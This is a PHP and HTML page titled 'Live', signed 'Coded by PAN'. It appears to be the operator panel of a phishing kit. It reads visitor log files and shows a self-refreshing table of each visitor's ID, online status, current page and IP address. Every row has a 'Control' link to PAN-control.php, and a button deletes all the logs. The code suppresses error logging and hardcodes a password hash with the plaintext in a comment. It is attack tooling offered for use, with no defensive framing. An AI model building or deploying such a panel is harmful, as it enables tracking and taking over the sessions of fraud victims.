<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set('html_errors','0');
@ini_set('display_errors','0');
@ini_set('display_startup_errors','0');
@ini_set('log_errors','0');
session_id(md5('36e814614868e552891c5dda83aafca8'));
session_start();
$adminip = $_SERVER['REMOTE_ADDR'];

$password = '36e814614868e552891c5dda83aafca8';  //  666999

if($_POST['p']){

setcookie('p',md5($_POST['p']));
header('Location: ' . $_SERVER['PHP_SELF']. '?' . $_SERVER['QUERY_STRING']);
}

   
	
	// Directory where user logs are stored
$logDir = 'logs/';

// del all client
if ($_GET['delAll'] == 'true') {

    foreach (glob($logDir . 'user_status_*.log') as $file) {
       
            unlink($file);
        
	
    }
    echo "All clients deleted.";
	echo $file;
	exit;

}

// Function to get user statuses
function getUserStatuses($logDir) {
    $logFiles = glob($logDir . 'user_status_*.log');
    $userStatuses = [];

    foreach ($logFiles as $logFile) {
        $content = file_get_contents($logFile);
        // Extract information from the log file content
        preg_match('/User ID: (.*?), Status: (.*?), Page: (.*?), IP: (.*?), Timestamp: (.*?)\n/', $content, $matches);
        if ($matches) {
            $userId = $matches[1];
            $status = $matches[2];
            $page = $matches[3];
            $ip = $matches[4];
            $timestamp = $matches[5];

            // Determine if the user is online or just visited
            $currentTime = new DateTime();
            $lastUpdated = new DateTime($timestamp);
            $interval = $currentTime->diff($lastUpdated);
            $seconds = $interval->s + ($interval->i * 60) + ($interval->h * 3600);

            if ($seconds <= 5) {
                $status = 'online';
            }

            $userStatuses[] = ['userId' => $userId, 'status' => $status, 'page' => $page, 'ip' => $ip, 'timestamp' => $timestamp];
        }
    }

    return $userStatuses;
}

if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['ajax'])) {
    echo json_encode(getUserStatuses($logDir));
    exit;
}

$userStatuses = getUserStatuses($logDir);
?>

<!DOCTYPE html>
<html>
   
    <head>
        <meta charset="utf-8">
        <title>Live</title>
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <style>
            * {
                margin: 0;
                padding: 0;
                box-sizing: border-box;
            }

            body {
                /* background: linear-gradient(135deg, #0f1419 0%, #1a2332 50%, #0f1419 100%); */
                color: #0b0b0b;
                font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
                min-height: 100vh;
                overflow-x: hidden;
            }

            canvas {
                display: block;
                vertical-align: bottom;
            }

            #particles-js {
                position: fixed;
                top: 0;
                left: 0;
                width: 100%;
                height: 100%;
                z-index: -1;
            }

            .header {
                background: rgba(15, 20, 25, 0.95);
                backdrop-filter: blur(10px);
                border-bottom: 2px solid rgba(46, 110, 156, 0.3);
                padding: 20px 0;
                text-align: center;
                position: sticky;
                top: 0;
                z-index: 100;
            }

            .header img {
                height: 50px;
                margin-bottom: 15px;
                filter: drop-shadow(0 0 10px rgba(46, 110, 156, 0.5));
            }

            h1 {
                color: #fff;
                font-size: 2.5rem;
                font-weight: 600;
                text-shadow: 0 0 20px rgba(46, 110, 156, 0.5);
                margin: 0;
                background: linear-gradient(45deg, #2e6e9c, #56ad15);
                -webkit-background-clip: text;
                -webkit-text-fill-color: transparent;
                background-clip: text;
            }

            .container {
                max-width: 1400px;
                margin: 0 auto;
                padding: 30px 20px;
                position: relative;
                z-index: 10;
            }

            .control-panel {
                background: rgba(16, 21, 28, 0.9);
                backdrop-filter: blur(15px);
                border-radius: 20px;
                padding: 30px;
                box-shadow: 0 20px 60px rgba(0, 0, 0, 0.4);
                border: 1px solid rgba(46, 110, 156, 0.2);
                margin-bottom: 30px;
            }

            .delete-btn {
                background: linear-gradient(135deg, #dc2626, #b91c1c);
                color: white;
                border: none;
                padding: 15px 30px;
                border-radius: 12px;
                font-size: 1rem;
                font-weight: 600;
                cursor: pointer;
                transition: all 0.3s ease;
                box-shadow: 0 8px 20px rgba(220, 38, 38, 0.3);
                text-transform: uppercase;
                letter-spacing: 0.5px;
            }

            .delete-btn:hover {
                background: linear-gradient(135deg, #b91c1c, #991b1b);
                transform: translateY(-2px);
                box-shadow: 0 12px 30px rgba(220, 38, 38, 0.4);
            }

            .table-container {
                background: rgba(16, 21, 28, 0.95);
                backdrop-filter: blur(15px);
                border-radius: 20px;
                overflow: hidden;
                box-shadow: 0 20px 60px rgba(0, 0, 0, 0.4);
                border: 1px solid rgba(46, 110, 156, 0.2);
                margin-bottom: 30px;
            }

            table {
                width: 100%;
                border-collapse: collapse;
                font-size: 0.95rem;
            }

            th {
                background: linear-gradient(135deg, #2e6e9c, #1e4a66);
                color: #fff;
                padding: 20px 15px;
                text-align: left;
                font-weight: 600;
                text-transform: uppercase;
                letter-spacing: 0.5px;
                font-size: 0.85rem;
                border-bottom: 2px solid rgba(46, 110, 156, 0.3);
            }

            td {
                padding: 18px 15px;
                border-bottom: 1px solid rgba(255, 255, 255, 0.1);
                transition: all 0.3s ease;
            }

            tr:hover {
                background: rgba(46, 110, 156, 0.1);
                transform: scale(1.01);
            }

            .online {
                color: #10b981;
                font-weight: 600;
                text-shadow: 0 0 10px rgba(16, 185, 129, 0.3);
            }

            .visited {
                color: #ef4444;
                font-weight: 600;
                text-shadow: 0 0 10px rgba(239, 68, 68, 0.3);
            }

            .control-link {
                background: linear-gradient(135deg, #2e6e9c, #56ad15);
                color: white;
                text-decoration: none;
                padding: 10px 20px;
                border-radius: 25px;
                font-weight: 600;
                transition: all 0.3s ease;
                display: inline-block;
                box-shadow: 0 5px 15px rgba(46, 110, 156, 0.3);
                text-transform: uppercase;
                font-size: 0.85rem;
                letter-spacing: 0.5px;
            }

            .control-link:hover {
                transform: translateY(-2px);
                box-shadow: 0 8px 25px rgba(46, 110, 156, 0.4);
                background: linear-gradient(135deg, #56ad15, #2e6e9c);
            }

            .server-info {
                background: rgba(16, 21, 28, 0.9);
                backdrop-filter: blur(15px);
                border-radius: 20px;
                padding: 25px;
                box-shadow: 0 15px 40px rgba(0, 0, 0, 0.3);
                border: 1px solid rgba(46, 110, 156, 0.2);
                margin-bottom: 20px;
            }

            .server-info h4 {
                color: #56ad15;
                margin-bottom: 15px;
                font-size: 1.3rem;
                font-weight: 600;
            }

            .server-info ul {
                list-style: none;
            }

            .server-info small {
                color: #a1a1aa;
                font-size: 0.9rem;
            }

            .server-info b {
                color: #2e6e9c;
                font-weight: 600;
            }

            .footer {
                text-align: center;
                color: #6b7280;
                font-size: 0.85rem;
                margin-top: 30px;
                padding: 20px;
            }

            /* Responsive Design */
            @media (max-width: 768px) {
                h1 {
                    font-size: 2rem;
                }

                .container {
                    padding: 20px 15px;
                }

                .control-panel,
                .table-container,
                .server-info {
                    padding: 20px;
                    border-radius: 15px;
                }

                table {
                    font-size: 0.85rem;
                }

                th, td {
                    padding: 12px 10px;
                }

                .control-link {
                    padding: 8px 16px;
                    font-size: 0.8rem;
                }

                .delete-btn {
                    padding: 12px 25px;
                    font-size: 0.9rem;
                }
            }

            @media (max-width: 480px) {
                h1 {
                    font-size: 1.5rem;
                }

                .container {
                    padding: 15px 10px;
                }

                th, td {
                    padding: 8px 6px;
                    font-size: 0.8rem;
                }

                .control-panel,
                .table-container,
                .server-info {
                    padding: 15px;
                    border-radius: 12px;
                }

                .table-container {
                    overflow-x: auto;
                }

                table {
                    min-width: 600px;
                }
            }

            /* Animation pour les éléments */
            @keyframes fadeInUp {
                from {
                    opacity: 0;
                    transform: translateY(30px);
                }
                to {
                    opacity: 1;
                    transform: translateY(0);
                }
            }

            .control-panel,
            .table-container,
            .server-info {
                animation: fadeInUp 0.6s ease-out;
            }

            .table-container {
                animation-delay: 0.2s;
            }

            .server-info {
                animation-delay: 0.4s;
            }
        </style>
        <meta name="referrer" content="no-referrer">
        <style>
            img[src="data:,"],source[src="data:,"] {
                display: none!important
            }
        </style>
    </head>
    <body>
        <div style="position:absolute;background-color:rgba(95,110,130,0.3);width:100%;height:100%">
            <div style="text-align:center;mix-blend-mode:color-dodge;width:100%">
            <div>
                <div class="content" style="width:98%;margin:auto;margin-top:50px;max-height;900px;">
                    <br>
					
                    <form disabled>
					<center>
					 <button type="button" onclick="deleteAllClients()" style=" background: darkred; color: white; margin-bottom: 15px;border:none;cursor:pointer;">Delete All Clients</button>
					</center>
  <table id="statusTable">
        <thead>
            <tr>
                <th>User ID</th>
                <th>Status</th>
                <th>Current Page</th>
                <th>IP Address</th>
                <th>Last Updated</th>
                <th>Action</th>
            </tr>
        </thead>
        <tbody>
            <?php foreach ($userStatuses as $user): ?>
            <tr>
                <td><?php echo htmlspecialchars($user['userId']); ?></td>
                <td class="<?php echo htmlspecialchars($user['status']); ?>"><?php echo htmlspecialchars($user['status']); ?></td>
                <td><?php echo htmlspecialchars($user['page']); ?></td>
                <td><?php echo htmlspecialchars($user['ip']); ?></td>
                <td><?php echo htmlspecialchars($user['timestamp']); ?></td>
                <td><a target="_blank" href="./PAN-control.php?ip=<?php echo htmlspecialchars($user['ip']); ?>" class="button"><b style='background-color:#2E6E9C;'>Control</b></a></td>
            </tr>
            <?php endforeach; ?>
        </tbody>
    </table>
    </form>

					
					<div style=" color: grey; ">


        <div id="well" class="well well" >

            <h4>Server Information</h4>

            <ul>

                <small>Your IP : <b><?php echo $adminip; ?></b></small>



            </ul>

            


        </div>

    </div>

<small align="center">Coded by PAN</small>

                </div>
            </div>
			
        </div>
		
        <div id="particles-js"></div>

<script>
        function fetchStatuses() {
            const xhr = new XMLHttpRequest();
            xhr.open('GET', 'PAN-live.php?ajax=true&rand=' + Math.random().toString(36).slice(-5), true);
            xhr.onload = function () {
                if (xhr.status === 200) {
                    const userStatuses = JSON.parse(xhr.responseText);
                    const tbody = document.querySelector('#statusTable tbody');
                    tbody.innerHTML = ''; // Clear existing rows

                    userStatuses.forEach(user => {
                        const row = document.createElement('tr');
                        row.innerHTML = `
                            <td>${user.userId}</td>
                            <td class="${user.status}">${user.status}</td>
                            <td>${user.page}</td>
                            <td>${user.ip}</td>
                            <td>${user.timestamp}</td>
                            <td><a target="_blank" href="./PAN-control.php?ip=${user.ip}" class="button"><b style='color:rgb(255, 219, 95);'>Control</b></a></td>
                        `;
                        tbody.appendChild(row);
                    });
                }
            };
            xhr.send();
        }

        setInterval(fetchStatuses, 5000); // Fetch statuses every 5 seconds

        window.onload = fetchStatuses; // Fetch initial statuses when page loads
    </script>
		<script>
        function deleteAllClients() {
            if (confirm("Are you sure you want to delete all client logs?")) {
                fetch("PAN-live.php?delAll=true")
                .then(response => response.text())
                .then(data => alert(data))
                .catch(error => console.error("Error:", error));
            }
        }
    </script>
        <script src="https://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js"></script>
        <script>
            particlesJS('particles-js', {
                'particles': {
                    'number': {
                        'value': 80,
                        'density': {
                            'enable': true,
                            'value_area': 800
                        }
                    },
                    'color': {
                        'value': '#ffffff'
                    },
                    'shape': {
                        'type': 'triangle',
                        'stroke': {
                            'width': 0,
                            'color': '#000000'
                        },
                        'polygon': {
                            'nb_sides': 5
                        },
                        'image': {
                            'src': 'img/github.svg',
                            'width': 100,
                            'height': 100
                        }
                    },
                    'opacity': {
                        'value': 0.5,
                        'random': true,
                        'anim': {
                            'enable': false,
                            'speed': 1,
                            'opacity_min': 0.1,
                            'sync': false
                        }
                    },
                    'size': {
                        'value': 3,
                        'random': true,
                        'anim': {
                            'enable': false,
                            'speed': 40,
                            'size_min': 0.1,
                            'sync': false
                        }
                    },
                    'line_linked': {
                        'enable': true,
                        'distance': 200,
                        'color': '#ffffff',
                        'opacity': 0.4,
                        'width': 1
                    },
                    'move': {
                        'enable': true,
                        'speed': 1,
                        'direction': 'none',
                        'random': true,
                        'straight': false,
                        'out_mode': 'out',
                        'bounce': false,
                        'attract': {
                            'enable': false,
                            'rotateX': 10000,
                            'rotateY': 10000
                        }
                    }
                },
                'interactivity': {
                    'detect_on': 'canvas',
                    'events': {
                        'onhover': {
                            'enable': true,
                            'mode': 'grab'
                        },
                        'onclick': {
                            'enable': true,
                            'mode': 'repulse'
                        },
                        'resize': true
                    },
                    'modes': {
                        'grab': {
                            'distance': 200,
                            'line_linked': {
                                'opacity': 0.5
                            }
                        },
                        'bubble': {
                            'particles_nb': 2
                        }
                    }
                },
                'retina_detect': true
            });
        </script>
    </body>
</html>
